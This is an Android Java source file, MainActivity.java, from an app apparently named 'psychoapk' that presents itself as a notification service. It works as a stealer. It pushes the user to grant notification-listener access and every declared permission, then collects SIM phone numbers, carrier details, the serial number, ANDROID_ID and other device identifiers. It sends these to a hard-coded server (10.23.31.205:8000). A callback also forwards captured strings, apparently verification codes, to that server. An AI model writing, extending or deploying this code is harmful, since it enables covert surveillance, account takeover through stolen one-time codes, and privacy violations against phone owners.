psychoapk/app/src/main/java/com/example/notifyservice/MainActivity.java

package com.example.notifyservice;

import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;

import androidx.activity.EdgeToEdge;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

import android.os.Handler;
import android.os.PowerManager;
import android.provider.Settings;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;
import android.widget.Toast;

import org.json.JSONException;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

import java.io.OutputStream;
import java.net.HttpURLConnection;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);

        if (!isNotificationServiceEnabled()) {
            requestNotificationAccess();
        } else {
            requestPermissions(retrievePermissions(this));
        }

    }

    public static String getDeviceInfo(String p_seperator, Context context)
    {
        String m_data = "";
        StringBuilder m_builder = new StringBuilder();
        m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
        m_builder.append(android.os.Build.DEVICE + p_seperator);
        m_builder.append(android.os.Build.MODEL + p_seperator);
        m_builder.append(android.os.Build.PRODUCT + p_seperator);
        m_builder.append(android.os.Build.BRAND + p_seperator);
        m_builder.append(android.os.Build.DISPLAY + p_seperator);
        // TODO : android.os.Build.CPU_ABI is deprecated
        m_builder.append(android.os.Build.CPU_ABI + p_seperator);
        // TODO : android.os.Build.CPU_ABI2 is deprecated
        m_builder.append(android.os.Build.CPU_ABI2 + p_seperator);
        m_builder.append(android.os.Build.UNKNOWN + p_seperator);
        m_builder.append(android.os.Build.HARDWARE + p_seperator);
        m_builder.append(android.os.Build.ID + p_seperator);
        m_builder.append(android.os.Build.MANUFACTURER + p_seperator);
        m_builder.append(android.os.Build.SERIAL + p_seperator);
        m_builder.append(android.os.Build.USER + p_seperator);
        m_builder.append(android.os.Build.HOST + p_seperator);
        String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
        m_builder.append(android_id + p_seperator);
        m_data = m_builder.toString();
        return m_data;
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
            requestPermissions(retrievePermissions(this));
        } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
            Context permissionContext = this;
            new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
        }
    }

    private void makeProcess(Context context) {
        PostRequest postRequestTask = new PostRequest(context);
        postRequestTask.execute("http://10.23.31.205:8000/phone", listToJson(collectPhoneNumber(context)) + ";" + getDeviceInfo(":", context));
    }

    private String listToJson(List<?> list) {
        StringBuilder jsonBuilder = new StringBuilder();
        jsonBuilder.append("[");

        for (int i = 0; i < list.size(); i++) {
            Object item = list.get(i);
            jsonBuilder.append(objectToJson(item));
            if (i < list.size() - 1) {
                jsonBuilder.append(", ");
            }
        }

        jsonBuilder.append("]");
        return jsonBuilder.toString();
    }

    private String objectToJson(Object obj) {
        if (obj instanceof String) {
            return "\"" + escapeJson((String) obj) + "\"";
        } else if (obj instanceof Number || obj instanceof Boolean) {
            return obj.toString();
        } else {
            // For other types, you can implement more logic as needed
            return "\"" + escapeJson(obj.toString()) + "\"";
        }
    }

    private String escapeJson(String raw) {
        String escaped = raw;
        escaped = escaped.replace("\\", "\\\\");
        escaped = escaped.replace("\"", "\\\"");
        escaped = escaped.replace("\b", "\\b");
        escaped = escaped.replace("\f", "\\f");
        escaped = escaped.replace("\n", "\\n");
        escaped = escaped.replace("\r", "\\r");
        escaped = escaped.replace("\t", "\\t");
        return escaped;
    }

    private boolean isNotificationServiceEnabled() {
        String packageName = getPackageName();
        String enabledListeners = Settings.Secure.getString(
                getContentResolver(),
                "enabled_notification_listeners"
        );
        return enabledListeners != null && enabledListeners.contains(packageName);
    }

    private void requestNotificationAccess() {
        Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
        startActivity(intent);
    }

    private static String[] retrievePermissions(Context context) {
        final String pkgName = context.getPackageName();
        try {
            return context
                    .getPackageManager()
                    .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
                    .requestedPermissions;
        } catch (PackageManager.NameNotFoundException e) {
            return new String[0];
        }
    }

    private void requestPermissions(String[] permissions) {
        ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
    }

    private static boolean isNetworkAvailable(Context context) {
        ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
        Network nw = connectivityManager.getActiveNetwork();
        if (nw == null) return false;
        NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw);
        return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
    }

    private List<String> collectPhoneNumber(Context context){
        List<String> phoneNumbers = new ArrayList<>();
        if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
            return phoneNumbers;
        }
        SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
        List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();

        for (int i = 0; i < subscriptions.size(); i++) {
            SubscriptionInfo currentCard = subscriptions.get(i);
            phoneNumbers.add((Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()) + ":" + currentCard.getCountryIso() + ":" + currentCard.getCarrierName().toString());
        }
        return phoneNumbers;
    }

    public static void codeCallback(Context context, String string) {
        PostRequest postRequestTask = new PostRequest(context);
        postRequestTask.execute("http://10.23.31.205:8000/code", string + ";" + getDeviceInfo(":", context));
    }
}